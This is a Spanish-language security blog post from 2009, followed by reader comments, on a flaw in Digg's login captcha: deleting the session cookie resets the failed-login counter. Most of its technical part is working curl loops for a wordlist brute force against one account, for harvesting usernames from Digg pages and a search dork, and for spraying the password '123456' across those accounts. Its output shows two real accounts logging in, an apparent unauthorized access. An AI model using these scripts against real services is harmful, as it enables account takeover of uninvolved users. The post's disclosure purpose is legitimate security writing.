23 abril 2009

Aplicando fuerza espartana a Digg.

La semana pasada muchos medios se hicieron eco sobre un estudio que ha realizado Google sobre los captchas, donde proponen un nuevo método para la generación de imágenes.

Gracias a este sistema, se evitarán ataques mediante el reconocimiento OCR de las imágenes, además de facilitar al usuario la introducción de datos, tanto en pcs como en dispositivos móviles.

Como el tema está trillado, iba a proponer un tema nuevo, pero según trabajaba en ello, he detectado varios errores en algunas webs que vamos a comentar.

Los captcha nacen con la idea de evitar automatismos, concretamente son preocupantes el spam en los comentarios de los blogs y a la hora de evitar los ataques por fuerza bruta en formularios web de autenticación.

Como decía mi abuela: siempre servirás de algo, aunque sea de mal ejemplo, así que vamos a utilizar el portal Digg como conejillo de indias.

Esta web social solicita un captcha después del cuarto intento de autenticación fallida, de está forma se asegura que no hay un script del infierno tratando de obtener usuarios y contraseñas.

Lo que hace Digg es contabilizar estos intentos utilizando únicamente la sesión, que es creada nuevamente siempre que no exista

El proceso que seguiría es el siguiente:
  1. Envío usuario y contraseña mediante un POST
  2. El servidor crea una sesión y me devuelve un 302 (redirección) a otra página que comprueba si la sesión es correcta o incorrecta en base al usuario y contraseña
  3. Si la contraseña es válida paso, si no es válida me envía a la página de autenticación con un error y la misma sesión que suma 1 error fallido.
  4. Elimino la sesión (y con ello el contador) y repito el envío de usuario y contraseña, volviendo al punto 1. Por lo que el captcha no aparecerá nunca al no sumar los cuatro intentos.
Esto es más fácil viéndolo con un curl:
for i in `cat wordlist.txt`; do
echo -n $i; curl -c digg.txt -s -L -D - -d "username=usuario&password=$i&persistent=on" 'http://digg.com/login/prepare/digg'| grep -Ei "D.meta.user.loggedIn|was incorrect";
done
Básicamente recorre un archivo "wordlist.txt" (que entendemos contiene las contraseñas a probar), y va mostrando algo similar a esto:

eryyyert <div><h3>Your Username or Password was incorrect</h3></div>
rtwertwery <div><h3>Your Username or Password was incorrect</h3></div>
dsfhdhcnh <div><h3>Your Username or Password was incorrect</h3></div>
fdgsdfghsj <div><h3>Your Username or Password was incorrect</h3></div>
dfgdsfgdfg <div><h3>Your Username or Password was incorrect</h3></div>
aaaaaaa <div><h3>Your Username or Password was incorrect</h3></div>
Cochecito D.meta.user.loggedIn = "usuario";
adfsdf <div><h3>Your Username or Password was incorrect</h3></div>
asdffffff <div><h3>Your Username or Password was incorrect</h3></div>
Donde la primera palabra es la contraseña probada y el resultado de si es válido o no. Entendiendo que "Cochecito", sería la correcta y el resto... no

Es posible que llame la Interpol a la puerta antes de que demos con la contraseña buscada, pero la debilidad en la implantación queda demostrada.

Recordando otra entrada vieja y limpiándole polvo, he encontrado que tienen prácticamente los mismos problemillas, como el usuario y contraseña que no va por https, o que se pueda obtener una lista de usuarios válidos. Así que continuaremos un poquito más con el juego.

Para obtener una lista de usuarios válidos:
for i in `seq 2 245`; do
curl -s http://digg.com/page$i |tr '<' '\n'|grep 'href="/users/' | sed -e 's|.*/\(.*\)\">|\1|g'
done | sort | uniq >lista.digg
Lo que obtendrá una lista (lista.digg) de entre 700 y 800 usuarios. Podríamos utilizar Google Dorks para obtener más:

site:digg.com inurl:/users/
Y ahora, a probar las contraseñas más utilizadas: 123456, password, qwerty, liverpool ....
for i in `cat lista.digg`; do echo -n $i; curl -c digg.txt -s -L -D - -d "username=$i&password=123456&persistent=on" 'http://digg.com/login/prepare/digg'| grep -Ei "D.meta.user.loggedIn|incorrect"; done |tee pass.txt
En total, no es que hayan salido muchas, pero algo es algo:
[sbd@velouria ~]$ grep logged pass.txt | wc -l
2

8 comments :

tayoken dijo...

Vaya, un poco lerdos estos de Digg... muy buen "post" :)

Anónimo dijo...

Buen trabajo de investigación y buen post.

Anónimo dijo...

¿Has accedido ilegalmente a dos digcuentas? Al infierno !!!

Anónimo dijo...

Wop!

http://conference.hitb.org/hitbsecconf2009dubai/materials/D2T2%20-%20Vipin%20and%20Nitin%20Kumar%20-%20vbootkit%202.0.pdf

Anónimo dijo...

una cosa podrias acer todo eso en un video y colgarlo en youtube
si no tienes lo de los videos:
-http://www.bobyte.com/AviScreen/Download.asp
aki tienes uno ok

Anonymous dijo...

Wop!

http://conference.hitb.org/hitbsecconf2009dubai/materials/D2T2%20-%20Vipin%20and%20Nitin%20Kumar%20-%20vbootkit%202.0.pdf

Anonymous dijo...

una cosa podrias acer todo eso en un video y colgarlo en youtube
si no tienes lo de los videos:
-http://www.bobyte.com/AviScreen/Download.asp
aki tienes uno ok

Anonymous dijo...

¿Has accedido ilegalmente a dos digcuentas? Al infierno !!!